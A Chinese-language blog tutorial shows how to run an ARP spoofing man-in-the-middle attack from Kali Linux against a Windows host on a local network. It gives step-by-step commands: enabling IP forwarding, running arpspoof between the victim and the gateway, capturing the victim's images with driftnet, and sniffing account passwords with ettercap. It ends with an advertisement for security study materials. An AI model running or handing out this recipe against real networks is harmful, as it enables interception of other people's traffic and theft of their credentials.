Kali ARP欺骗攻击

arpspoof 是一款进行arp欺骗的工具，攻击者通过毒化受害者arp缓存，将网关mac替换为攻击者mac，然后攻击者可截获受害者发送和收到的数据包，可获取受害者账户、密码等相关敏感信息。

Kali主机采用虚拟机---桥接模式

受害者主机---windows系列

目标准备

代码语言：javascript

复制

攻击者ip：192.168.1.3
受害者ip：192.168.1.2
网关IP：192.168.1.1

---

查看网卡口

代码语言：javascript

复制

#ip a

查看192.168.1.3的网卡名，我这台主机叫eth0

开启端口转发

代码语言：javascript

复制

echo 1 >/proc/sys/net/ipv4/ip_forward

开始进行arp攻击

代码语言：javascript

复制

arpspoof -t 192.168.1.2  192.168.1.1  -i eth0

此时kali可拦截相关受害者主机相关信息，开启wireshark拦截受害者ping数据 利用driftnet 窃取受害者网络中传输的图片，图片以小窗口的形式显示

代码语言：javascript

复制

driftnet -i eth0

进行账号密码嗅探

代码语言：javascript

复制

ettercap -Tq -i eth0

开启转发与未开启效果

开启转发功能目标能正常访问互联网

未开启转发无法访问互联网

停止攻击后目标可正常访问互联网

欺骗过程

网络安全学习资源推荐

最后给大家分享一份全套的网络安全学习籽料，给那些想学习，想转行网络安全的同学一点点帮助！

对于从来没有学习过网络安全的同学，我们帮你准备了一份详细的从入门到就业的学习路线图！我们公司几位大佬花了几天时间做出来的学习路线图，跟着这个学习，保证没问题！

同学们有需要的话可以v扫描下方二维码联系领取~

零基础入门

1.学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

2.学习视频

从基础到进阶都有学习视频提供

3.学习书籍推荐（PDF）

4.面试资料

因篇幅有限，籽料较为敏感仅展示部分籽料，添加上方即可获取↑